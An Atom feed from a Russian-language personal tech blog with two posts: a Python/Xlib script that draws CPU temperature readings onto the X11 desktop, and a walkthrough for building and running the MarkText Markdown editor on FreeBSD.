<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Alex Chernyshev</title><subtitle>Очень давно в этом вашем ойти. Видел сеть до интернета, помню интернет без фейсбука.
До сих пор пишу код.
Telegram/VK/LinkedIn/Rutube/Дзен: alex0x08</subtitle><author><name>Alex Chernyshev</name></author><id>https://teletype.in/atom/alex0x08</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/alex0x08?offset=0"></link><link rel="alternate" type="text/html" href="https://blog.0x08.ru/?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/alex0x08?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-05T04:42:37.264Z</updated><entry><id>alex0x08:small-temperature-mon-x11</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/small-temperature-mon-x11?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Мой маленький мониторинг</title><published>2026-03-25T12:21:31.258Z</published><updated>2026-03-25T12:21:31.258Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/fc/a2/fca20c7e-24d1-4f65-a3e3-6aa786b15f40.png"></media:thumbnail><category term="software-development" label="software-development"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/2f/9b/2f9b466b-da5b-42a6-a20c-d7202b06dd84.jpeg&quot;&gt;Делюсь очередной полезной штукой из личных разработок, на этот раз на тему мониторинга температуры в компьютере.</summary><content type="html">
  &lt;p id=&quot;7lsg&quot;&gt;Делюсь очередной полезной штукой из личных разработок, на этот раз на тему мониторинга температуры в компьютере. &lt;/p&gt;
  &lt;p id=&quot;U4Ed&quot;&gt;~120 строк на Python.&lt;/p&gt;
  &lt;figure id=&quot;xmoR&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2f/9b/2f9b466b-da5b-42a6-a20c-d7202b06dd84.jpeg&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Правый верхний угол, старая версия - с прозрачным фоном.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;0VH0&quot;&gt;Задача&lt;/h2&gt;
  &lt;p id=&quot;LwgK&quot;&gt;Честно говоря, задача мониторинга температуры это такой своеобразный «неуловимый Джо» — &lt;s&gt;ненужная&lt;/s&gt; мелкая ерунда, реализуемая в больших системах для галочки и по остаточному принципу.&lt;/p&gt;
  &lt;blockquote id=&quot;GKlv&quot;&gt;Ну и конечно отображение температуры с датчиков персонального компьютера давным давно реализовано и присутствует в виде виджета во всех основных графических окружениях и для любых ОС. &lt;/blockquote&gt;
  &lt;p id=&quot;8FXZ&quot;&gt;Чаще всего это выглядит как-то так:&lt;/p&gt;
  &lt;figure id=&quot;nHgT&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2d/f7/2df7a631-06db-40c8-98b7-c25043eae516.jpeg&quot; width=&quot;720&quot; /&gt;
    &lt;figcaption&gt;Найдите тут температуру.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cWHl&quot;&gt;Это все к вопросу об уникальности, важности и полезности решения, как бы заранее отвечая на самый важный вопрос &lt;s&gt;бытия&lt;/s&gt;: «нах#я я все это читаю».&lt;/p&gt;
  &lt;p id=&quot;e9kz&quot;&gt;Кстати одна из первых разработанных автором систем была как раз на тему мониторинга температуры у парка серверов. &lt;/p&gt;
  &lt;blockquote id=&quot;Ztac&quot;&gt;Дело было давно и сервера (как и сетевое оборудование) стояли не в охлаждаемых и чистых серверных, а где придется. &lt;/blockquote&gt;
  &lt;p id=&quot;nBWu&quot;&gt;С соответствующими последствиями по перегреву.&lt;/p&gt;
  &lt;p id=&quot;ui3W&quot;&gt;Выглядело оно как-то так: &lt;/p&gt;
  &lt;figure id=&quot;ZK0v&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/65/b1/65b113be-bfa0-4c05-a63c-11a26322d64f.png&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Данные тестовые, разумеется а сам мониторинг запущен в режиме отладки, локально. &lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;H5lA&quot;&gt;Так выглядит виновник сегодняшнего торжества:&lt;/p&gt;
  &lt;figure id=&quot;JTRJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6e/cd/6ecdf107-8105-4c25-92ed-612254a6a1e7.gif&quot; width=&quot;180&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7Qp0&quot;&gt;Исходный код можно посмотреть чуть ниже в статье или вот &lt;a href=&quot;https://gist.github.com/alex0x08/8f743382cc1563c3140ac86cb9e36ed0&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt; в виде gist.  Теперь рассказываю подробнее как оно все работает.&lt;/p&gt;
  &lt;blockquote id=&quot;OBY3&quot;&gt;Кстати думаю для многих станет сюрпризом, что X-сервер позволяет рисовать графические элементы и текст в &lt;strong&gt;чужих окнах&lt;/strong&gt;.&lt;/blockquote&gt;
  &lt;p id=&quot;RRlU&quot;&gt;Без предупреждения, без индикации, без каких-то отдельных прав и тд.&lt;/p&gt;
  &lt;p id=&quot;NDFa&quot;&gt;Очко сотрудников СБ только что заиграло новыми красками.&lt;/p&gt;
  &lt;h2 id=&quot;9ICQ&quot;&gt;Реализация&lt;/h2&gt;
  &lt;p id=&quot;3DuB&quot;&gt;Поскольку у автора используется тот еще зоопарк разных систем, хотелось сделать максимально переносимое решение.&lt;/p&gt;
  &lt;p id=&quot;IwQi&quot;&gt;Хардкодить все на чистом С я посчитал излишним, поэтому был взят Python и библиотека Xlib, которая есть везде, куда еще не добрались проклятые зумеры со своим Wayland.&lt;/p&gt;
  &lt;blockquote id=&quot;FUwM&quot;&gt;К моему великому сожалению, оказалось что знаменитая связка Tcl/Tk не умеет работать с root window, поэтому использовать их не получится. &lt;/blockquote&gt;
  &lt;p id=&quot;6BF4&quot;&gt;Именно поэтому был взят петон, да.&lt;/p&gt;
  &lt;p id=&quot;KnTb&quot;&gt;Собственно &lt;a href=&quot;https://pypi.org/project/python-xlib/&quot; target=&quot;_blank&quot;&gt;эта библиотека&lt;/a&gt; является единственной внешней зависимостью в этом проекте, для FreeBSD устанавливается вот так:&lt;/p&gt;
  &lt;pre id=&quot;AdvT&quot; data-lang=&quot;bash&quot;&gt;pkg install py311-python-xlib&lt;/pre&gt;
  &lt;p id=&quot;8O2x&quot;&gt;Аналогичные пакеты есть в любом линуксе и BSD. Теперь стоит рассказать про сами датчики.&lt;/p&gt;
  &lt;p id=&quot;G88B&quot;&gt;Датчики температуры в случае FreeBSD отдают свои значения через &lt;code&gt;sysctl&lt;/code&gt; и требуют подгрузки специального модуля ядра. &lt;/p&gt;
  &lt;p id=&quot;LDup&quot;&gt;Чаще всего это будет &lt;a href=&quot;https://man.freebsd.org/cgi/man.cgi?coretemp(4)&quot; target=&quot;_blank&quot;&gt;coretemp&lt;/a&gt;:&lt;/p&gt;
  &lt;pre id=&quot;ILaX&quot; data-lang=&quot;bash&quot;&gt;kldload coretemp&lt;/pre&gt;
  &lt;p id=&quot;cHmk&quot;&gt;Чтение значений датчиков будет выглядеть как-то так:&lt;/p&gt;
  &lt;figure id=&quot;dx4j&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cc/be/ccbe6519-66bc-4304-abae-278b6c9f8dfc.png&quot; width=&quot;812&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8VqE&quot;&gt;Для процессоров AMD есть отдельный модуль &lt;a href=&quot;https://man.freebsd.org/cgi/man.cgi?amdtemp(4)&quot; target=&quot;_blank&quot;&gt;amdtemp&lt;/a&gt;:&lt;/p&gt;
  &lt;pre id=&quot;DvKG&quot; data-lang=&quot;bash&quot;&gt;kldload amdtemp&lt;/pre&gt;
  &lt;p id=&quot;xb6E&quot;&gt;Названия датчиков отличаются, поэтому для чтения используется немного другой паттерн:&lt;/p&gt;
  &lt;pre id=&quot;1PjZ&quot;&gt;sysctl dev.amdtemp.0 |grep core&lt;/pre&gt;
  &lt;p id=&quot;HK26&quot;&gt;В случае линукса температуру с датчиков можно получить из специальной виртуальной файловой системы &lt;code&gt;/dev&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;Zspy&quot;&gt;cat /sys/class/thermal/thermal_zone*/temp&lt;/pre&gt;
  &lt;p id=&quot;fSHQ&quot;&gt;Так это выглядит в работе:&lt;/p&gt;
  &lt;figure id=&quot;ExYP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2e/6b/2e6bec8e-0b0c-47a1-976c-386fc7d528da.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;В работе на процессоре AMD&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;UzUS&quot;&gt;Исходный код&lt;/h2&gt;
  &lt;p id=&quot;uxYm&quot;&gt;Ниже представлен полный исходный код моей утилиты, технически это &lt;a href=&quot;https://en.wikipedia.org/wiki/Shebang_(Unix)&quot; target=&quot;_blank&quot;&gt;shebang&lt;/a&gt; — самозапускаемый скрипт на Python, поэтому его нужно сохранить с расширением &lt;code&gt;.sh&lt;/code&gt; и поставить бит запуска.&lt;/p&gt;
  &lt;p id=&quot;OcLv&quot;&gt;Собственно код:&lt;/p&gt;
  &lt;pre id=&quot;ILtr&quot; data-lang=&quot;python&quot;&gt;#!/usr/bin/env python3

import Xlib
from Xlib import display, X   # display и X - не импортируются автоматически
import subprocess,time,logging

#настройки логирования
logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)

# координаты на экране для отображения
POS_X = 150
POS_Y = 50
# для FreeBSD и машины с AMD
PATTERN = &amp;#x27;sysctl dev.amdtemp.0 |grep core&amp;#x27;
# для FreeBSD с модулем coretemp
#PATTERN = &amp;#x27;sysctl dev.cpu |grep temperature&amp;#x27;
# для Linux
#PATTERN = &amp;quot;cat /sys/class/thermal/thermal_zone*/temp | awk &amp;#x27;{ print \&amp;quot;temp: \&amp;quot; ($1 / 1000) \&amp;quot;C\&amp;quot; }&amp;#x27;&amp;quot;
# шрифт
FONT = &amp;#x27;-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1&amp;#x27;
# период обновления
REFRESH_SECS = 15

last_dim = [0,0]

# определение рабочего стола
# d - display (экран)s
def get_root_window(d):
    
    screen = d.screen()
    # root window - рабочий стол по-умолчанию
    root = screen.root

    # Получаем ID всех окон верхнего уровня
    windowIDs = root.get_full_property(d.intern_atom(&amp;#x27;_NET_CLIENT_LIST&amp;#x27;), 
                                                  X.AnyPropertyType).value
    logging.debug(&amp;#x27;Found %d windows.&amp;#x27;,len(windowIDs))

    for windowID in windowIDs:
        # Create a window object from the ID to access its properties
        window = d.create_resource_object(&amp;#x27;window&amp;#x27;, windowID)

        try:
            # Get the window title (WM_NAME or _NET_WM_NAME)
            # Use get_wm_name() for simplicity, 
            # or look up EWMH properties for better compatibility
            window_name = window.get_wm_name()
            if window_name:
                # в продвинутых DE вроде KDE/Xfce за рабочий стол отвечает
                # отдельное окно и рисовать придется в нем
                if &amp;#x27;Desktop&amp;#x27; in window_name:
                    logging.debug(&amp;quot;Found desktop ID: %d - Name: %s&amp;quot;,
                                                 windowID,window_name)
                    return window
            else:
                # Бывает, что у окна нет заголовка
                logging.debug(&amp;quot;ID: %d - Name: None (no WM_NAME property)&amp;quot;,
                                                 windowID)

        except X.BadWindow:
            # Обработка ситуации, когда считываемое окно больше не существует
            logging.debug(&amp;quot;ID: %d - Window no longer exists&amp;quot;,windowID)
    # если отдельного окна с именем Desktop не обнаружено - рисуем
    # прямо на root window 
    return root

# очистка области
def clear_rect(msg):
    global last_dim
    # если есть сохраненные размеры - используем их
    if last_dim[0] &amp;gt; 0:	
    	root.fill_rectangle(gc2, POS_X,POS_Y-last_dim[1], 
    	                         last_dim[0]-20, last_dim[1]+5)
    else:
        # расчет размеров надписи в пикселях
        text_extents = font.query_text_extents(msg)
        tw = text_extents.overall_width
        th = text_extents.font_ascent + text_extents.font_descent
        # очистка происходит через отрисовку черного прямоугольника
        # clear_area плохо работает с KDE
        root.fill_rectangle(gc2, POS_X,POS_Y-th, tw-20, th+5)
        # запоминаем размеры надписи для следующей очистки
        last_dim = [tw,th]

# отрисовка сообщения на экране
# msg - текст сообщения
def draw_message(msg):
    # очистка области
    clear_rect(msg)
    # отрисовка текста
    root.draw_text(gc, POS_X, POS_Y, msg)
    display.flush()

# инициализация подключения к Х-серверу
display = Xlib.display.Display()
screen = display.screen()
root = get_root_window(display)

# Access the window ID (an integer)
root_id = root.id

logging.debug(&amp;quot;Root window ID: %d&amp;quot;,root_id)
# для реакции на события
root.change_attributes(event_mask=X.ExposureMask)  # &amp;quot;adds&amp;quot; this event mask
# создание графического контекста, белый текст на черном фоне
gc = root.create_gc(foreground = screen.white_pixel, 
                    background = screen.black_pixel)
# дополнительный контекст для заливки области черным
colormap = screen.default_colormap
color = colormap.alloc_named_color(&amp;#x27;black&amp;#x27;) 
gc2 = root.create_gc(foreground=color.pixel)

# загружаем шрифт, которым будет отрисовываться текст
# если шрифт с таким названием не будет найден - вылетит ошибка
try:
    font = display.open_font(FONT)
    gc.font = font.id
except Exception as e:
    logging.exception(e)
    exit(1)

try:
    # бесконечный цикл, в котором происходит все действо
    while 1:
            # запуск процесса для получения значений датчиков
            process = subprocess.Popen(PATTERN, 
                    shell=True, text=True,
                    stdout=subprocess.PIPE)
            # в этой переменной будет массив строк со значениями   
            stdout_list = process.communicate()[0].split(&amp;#x27;\n&amp;#x27;)

            out = &amp;#x27;&amp;#x27;
            # делаем чистку
            for s in stdout_list:
                # убираем ошибочные строки, если нет : - нет и значения
                if &amp;#x27;:&amp;#x27; not in s: continue
                kv = s.split(&amp;#x27;:&amp;#x27;)
                # добавляем запятую в качестве разделителя 
                if len(out) &amp;gt; 0: out+= &amp;#x27;,&amp;#x27;
                # добавляем значение датчика в строку
                out+= kv[1]

            logging.debug(out)
            # отрисовываем полученную строку
            draw_message(out.encode())
            # задержка между итерациями
            time.sleep(REFRESH_SECS)
            
except KeyboardInterrupt:
        # при нажатии Ctrl-C делаем очистку области экрана, где
        # происходила отрисовка виджета
        x = POS_X // 2
        y = POS_Y // 2
        root.clear_area(x,y,last_dim[0]+x,last_dim[1]+y,True)
        display.flush()&lt;/pre&gt;
  &lt;p id=&quot;cyyR&quot;&gt;Как видите тут нет ООП и нет многопоточности — реализация максимально упрощена. Также не стал городить считывание параметров, поэтому ключевые настройки находятся в самом скрипте.&lt;/p&gt;
  &lt;p id=&quot;aGEx&quot;&gt;Настройка логирования:&lt;/p&gt;
  &lt;pre id=&quot;qN5c&quot; data-lang=&quot;python&quot;&gt;logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)&lt;/pre&gt;
  &lt;p id=&quot;47Wx&quot;&gt;Координаты для отображения на экране (левый нижний угол):&lt;/p&gt;
  &lt;pre id=&quot;rYKw&quot; data-lang=&quot;python&quot;&gt;POS_X = 150
POS_Y = 50&lt;/pre&gt;
  &lt;p id=&quot;9vzy&quot;&gt;Выбор паттерна для считывания значений датчиков:&lt;/p&gt;
  &lt;pre id=&quot;s9Ri&quot; data-lang=&quot;python&quot;&gt;# для FreeBSD и машины с AMD
PATTERN = &amp;#x27;sysctl dev.amdtemp.0 |grep core&amp;#x27;
# для FreeBSD с модулем coretemp
PATTERN = &amp;#x27;sysctl dev.cpu |grep temperature&amp;#x27;
# для Linux
PATTERN = &amp;quot;cat /sys/class/thermal/thermal_zone*/temp | awk &amp;#x27;{ print \&amp;quot;temp: \&amp;quot; ($1 / 1000) \&amp;quot;C\&amp;quot; }&amp;#x27;&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;Vy3j&quot;&gt;Шрифт, которым будут отображаться значения температуры, указывается в &lt;a href=&quot;https://wiki.archlinux.org/title/X_Logical_Font_Description&quot; target=&quot;_blank&quot;&gt;специальном формате&lt;/a&gt;:&lt;/p&gt;
  &lt;pre id=&quot;HTaj&quot; data-lang=&quot;python&quot;&gt;FONT = &amp;#x27;-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1&amp;#x27;&lt;/pre&gt;
  &lt;p id=&quot;vSBF&quot;&gt;Частота обновлений в секундах:&lt;/p&gt;
  &lt;pre id=&quot;au26&quot; data-lang=&quot;python&quot;&gt;REFRESH_SECS = 15&lt;/pre&gt;
  &lt;p id=&quot;SNwc&quot;&gt;Так виджет выглядит на Ubuntu и Xfce:&lt;/p&gt;
  &lt;figure id=&quot;CSi5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/94/20/9420f876-89dc-4e5c-87cf-2071ba733948.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;

</content></entry><entry><id>alex0x08:marktext-on-freebsd</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/marktext-on-freebsd?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Запускаем MarkText на FreeBSD</title><published>2026-03-16T08:09:51.482Z</published><updated>2026-03-16T08:09:51.482Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/74/c8/74c8dee6-b3d2-4572-9bd4-f5a00d4bb89c.png"></media:thumbnail><category term="unix" label="unix"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/8e/79/8e79d902-53d0-46cb-9db4-687d19661c6a.jpeg&quot;&gt;Очередные ужасы из тяжкой жизни пользователей BSD или что делать, когда нужная программа ненавидит вашу операционную систему.</summary><content type="html">
  &lt;p id=&quot;zl7H&quot;&gt;Очередные ужасы из тяжкой жизни пользователей BSD или что делать, когда нужная программа ненавидит вашу операционную систему. &lt;/p&gt;
  &lt;p id=&quot;14Ta&quot;&gt;В помощь начинающему, продолжающему и заканчивающему автору. &lt;/p&gt;
  &lt;figure id=&quot;hNuH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8e/79/8e79d902-53d0-46cb-9db4-687d19661c6a.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;VoHB&quot;&gt;Очко электрона&lt;/h2&gt;
  &lt;p id=&quot;7P1e&quot;&gt;Следующим по уровню безнадежности занятием на FreeBSD, после &lt;a href=&quot;https://blog.0x08.ru/bitnet-running-on-freebsd&quot; target=&quot;_blank&quot;&gt;нейросетей&lt;/a&gt; и &lt;a href=&quot;https://blog.0x08.ru/dotnet-on-freebsd-yeee&quot; target=&quot;_blank&quot;&gt;разработки на .NET&lt;/a&gt; является работа с приложениями на &lt;a href=&quot;https://www.electronjs.org/&quot; target=&quot;_blank&quot;&gt;Electron&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;qPCM&quot;&gt;Широкие народные массы требуют &lt;a href=&quot;https://github.com/electron/electron/issues/3797&quot; target=&quot;_blank&quot;&gt;это&lt;/a&gt; и уже очень давно:&lt;/p&gt;
  &lt;figure id=&quot;iuyL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7d/9f/7d9f3aef-f71e-4f39-9608-eae6d312afd5.png&quot; width=&quot;927&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zMDY&quot;&gt;Но ввиду разных причин (в первую очередь идеологических), официальной поддержки все также нет. &lt;/p&gt;
  &lt;p id=&quot;ewMb&quot;&gt;И скорее всего не будет никогда.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;UFXL&quot;&gt;Зато есть &lt;a href=&quot;https://github.com/tagattie/FreeBSD-Electron&quot; target=&quot;_blank&quot;&gt;неофициальный форк&lt;/a&gt;, который успешно заехал в пакетную базу и довольно давно там живет.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;G2Ym&quot;&gt;Форк очень даже живой:&lt;/p&gt;
  &lt;figure id=&quot;KdAO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/07/0d/070d2612-7d1e-40d4-9b2e-557989154dcb.png&quot; width=&quot;1337&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aW04&quot;&gt;Как можно заметить из истории коммитов выше — идет активная разработка и прием пул-реквестов.&lt;/p&gt;
  &lt;p id=&quot;QQMP&quot;&gt;Но как обычно есть нюанс:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;N9fD&quot;&gt;Electron это &lt;strong&gt;фреймворк&lt;/strong&gt; для построения десктоп-приложений с помощью одноименного движка.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;PEQp&quot;&gt;Но портировали на FreeBSD только движок Electron, без средств сборки конечных приложений на нем. &lt;/p&gt;
  &lt;p id=&quot;Awdh&quot;&gt;Речь в первую очередь про &lt;a href=&quot;https://www.electron.build/&quot; target=&quot;_blank&quot;&gt;electron-builder&lt;/a&gt;: &lt;/p&gt;
  &lt;blockquote id=&quot;R7wn&quot;&gt;A complete solution to package and build a ready for distribution &lt;a href=&quot;https://electronjs.org/&quot; target=&quot;_blank&quot;&gt;Electron&lt;/a&gt;, &lt;a href=&quot;https://proton-native.js.org/&quot; target=&quot;_blank&quot;&gt;Proton Native&lt;/a&gt; app for macOS, Windows and Linux with “auto update” support out of the box. &lt;/blockquote&gt;
  &lt;p id=&quot;DoG4&quot;&gt;Это не означает, что приложение на Electron не будет работать на FreeBSD совсем, но и не значит, что полноценная разработка таких приложений там возможна. &lt;/p&gt;
  &lt;p id=&quot;Yg7e&quot;&gt;&lt;strong&gt;Немного работает&lt;/strong&gt; — так это обычно описывают.&lt;/p&gt;
  &lt;figure id=&quot;QVY5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/61/ec/61ecfbd3-1a52-4e99-9c06-5ec6ea883040.png&quot; width=&quot;834&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;QFT1&quot;&gt;MarkText&lt;/h2&gt;
  &lt;p id=&quot;t4Oj&quot;&gt;&lt;a href=&quot;https://marktext.me/&quot; target=&quot;_blank&quot;&gt;MarkText&lt;/a&gt; это такой редактор для &lt;a href=&quot;https://en.wikipedia.org/wiki/Markdown&quot; target=&quot;_blank&quot;&gt;Markdown&lt;/a&gt;-разметки, один из самых лучших, известных и популярных:&lt;/p&gt;
  &lt;blockquote id=&quot;qLiR&quot;&gt;A simple and elegant open-source markdown editor that focused on speed and usability.&lt;/blockquote&gt;
  &lt;p id=&quot;opZ0&quot;&gt;Именно его я использую для верстки своих статей и документации.&lt;/p&gt;
  &lt;p id=&quot;aLJL&quot;&gt;К сожалению редактор построен на том самом Electron, поэтому для нормальных людей, не отягощенных двумя десятилетиями разработки нет вариантов его использования на FreeBSD — ни в Wine, ни с помощью &lt;a href=&quot;https://docs.freebsd.org/en/books/handbook/linuxemu/&quot; target=&quot;_blank&quot;&gt;слоя совместимости с Linux&lt;/a&gt; эта штука не работает.&lt;/p&gt;
  &lt;p id=&quot;CJdx&quot;&gt;Хотя пожелания &lt;a href=&quot;https://github.com/marktext/marktext/issues/3505&quot; target=&quot;_blank&quot;&gt;есть&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;CH4u&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/34/d9/34d98528-19de-40c4-8f8d-095b4b5744b4.png&quot; width=&quot;974&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;ThSk&quot;&gt;Скотская сборка&lt;/h2&gt;
  &lt;p id=&quot;Zolt&quot;&gt;Как бы это ни было удивительно, но Node.js и npm давно и успешно работают во FreeBSD, поэтому все спокойно устанавливается из пакетов:&lt;/p&gt;
  &lt;pre id=&quot;F1ka&quot; data-lang=&quot;bash&quot;&gt;pkg install node25 electron37 npm-node25 &lt;/pre&gt;
  &lt;p id=&quot;QElG&quot;&gt;Забираем исходники редактора:&lt;/p&gt;
  &lt;pre id=&quot;T7qR&quot; data-lang=&quot;bash&quot;&gt;git clone --depth 1 https://github.com/marktext/marktext.git&lt;/pre&gt;
  &lt;p id=&quot;gP9f&quot;&gt;Активная разработка по какой-то причине остановлена, народ &lt;a href=&quot;https://github.com/marktext/marktext/issues/4132&quot; target=&quot;_blank&quot;&gt;начинает беспокоиться&lt;/a&gt;, поэтому я не стал заморачиваться релизными версиями и собирал из текущей ветки. &lt;/p&gt;
  &lt;p id=&quot;CosU&quot;&gt;Сборка использует еще один пакетный менеджер — &lt;a href=&quot;https://yarnpkg.com/&quot; target=&quot;_blank&quot;&gt;yarn&lt;/a&gt;, который необходимо установить с помощью &lt;code&gt;npm&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;PNCL&quot; data-lang=&quot;bash&quot;&gt;npm -g i yarn&lt;/pre&gt;
  &lt;p id=&quot;cYtr&quot;&gt;Дальше начинается первый нюанс:&lt;/p&gt;
  &lt;blockquote id=&quot;mJd3&quot;&gt;необходимо отключить скачивание бинарной сборки Electron, поскольку ее не существует для FreeBSD.&lt;/blockquote&gt;
  &lt;p id=&quot;9Yxu&quot;&gt;Перед запуском скачивания зависимостей, необходимо выставить &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/installation&quot; target=&quot;_blank&quot;&gt;специальную переменную&lt;/a&gt;:&lt;/p&gt;
  &lt;pre id=&quot;Pbgp&quot; data-lang=&quot;bash&quot;&gt;export ELECTRON_SKIP_BINARY_DOWNLOAD=1 
yarn install&lt;/pre&gt;
  &lt;p id=&quot;qwhd&quot;&gt;Через какое-то время (скачивание зависимостей в проекте на Node.js — &lt;strong&gt;очень&lt;/strong&gt; долгий и болезненный процесс) в корневом каталоге должна появиться папка &lt;code&gt;node_modules&lt;/code&gt; откровенно скотских размеров:&lt;/p&gt;
  &lt;figure id=&quot;EMbk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3f/dc/3fdc4fab-3b1b-4512-a356-304bd0cec9cc.png&quot; width=&quot;1025&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KQxp&quot;&gt;Следующим шагом необходимо убрать искусственную заглушку, вставленную автором MarkText для того чтобы редактор не пытались запускать там где не надо — частая практика для проектов на Electron.&lt;/p&gt;
  &lt;p id=&quot;mkpH&quot;&gt;В файле &lt;code&gt;src/main/index.js&lt;/code&gt;есть вот такой замечательный код:&lt;/p&gt;
  &lt;pre id=&quot;Pu7i&quot; data-lang=&quot;javascript&quot;&gt;// NOTE: We only support Linux, macOS and Windows but not BSD nor SunOS.
if (!/^(darwin|win32|linux)$/i.test(process.platform)) {
  process.stdout.write(&amp;#x60;Operating system &amp;quot;${process.platform}&amp;quot; is not supported! Please open an issue at &amp;quot;https://github.com/marktext/marktext&amp;quot;.\n&amp;#x60;)
  process.exit(1)
}&lt;/pre&gt;
  &lt;p id=&quot;6qSa&quot;&gt;Не представляю кто смог упороться до такой степени, чтобы гонять десктоп-приложение на Electron на Солярисе, но думаю не будет откровением, что вызов &lt;code&gt;process.exit(1)&lt;/code&gt; необходимо закомментировать для продолжения банкета.&lt;/p&gt;
  &lt;p id=&quot;v8Pk&quot;&gt;Теперь переходим к собственно сборке.&lt;/p&gt;
  &lt;p id=&quot;8BmT&quot;&gt;Штатно сборка MarkText происходит вызовом команды &lt;code&gt;yarn build&lt;/code&gt;, но если посмотреть внутрь файла &lt;code&gt;package.json&lt;/code&gt;, в котором находятся все команды сборки, увидим:&lt;/p&gt;
  &lt;pre id=&quot;MLA4&quot; data-lang=&quot;javascript&quot;&gt;..
&amp;quot;build&amp;quot;: &amp;quot;node .electron-vue/build.js &amp;amp;&amp;amp; electron-builder&amp;quot;,
..&lt;/pre&gt;
  &lt;p id=&quot;N0Qg&quot;&gt;Вызов &lt;code&gt;electron-builder&lt;/code&gt; очевидно упадет, поскольку он не был портирован на FreeBSD и плотно завязан на готовые бинарные части и ветвления логики под конкретную поддерживаемую ОС.&lt;/p&gt;
  &lt;p id=&quot;wU5P&quot;&gt;Так что вызываем лишь первую часть, причем вручную (без всяких yarn):&lt;/p&gt;
  &lt;pre id=&quot;1Pj5&quot; data-lang=&quot;bash&quot;&gt;node .electron-vue/build.js&lt;/pre&gt;
  &lt;p id=&quot;Nmmd&quot;&gt;Должен отработать webpack, sass и в каталоге dist будет находиться готовое к запуску приложение на Electron.&lt;/p&gt;
  &lt;p id=&quot;8FB7&quot;&gt;К сожалению в «обнаженном» виде, без прилепленного рантайма, что однако никак не мешает его запустить:&lt;/p&gt;
  &lt;pre id=&quot;taDC&quot; data-lang=&quot;bash&quot;&gt;electron37 dist/electron/main.js&lt;/pre&gt;
  &lt;p id=&quot;U7VA&quot;&gt;Так выглядит запущенный MarkText на FreeBSD, в работе над английскими версиями статей:&lt;/p&gt;
  &lt;figure id=&quot;k2mc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/85/36/8536f375-91a9-4870-bf7b-ffe040ec6627.png&quot; width=&quot;1322&quot; /&gt;
  &lt;/figure&gt;
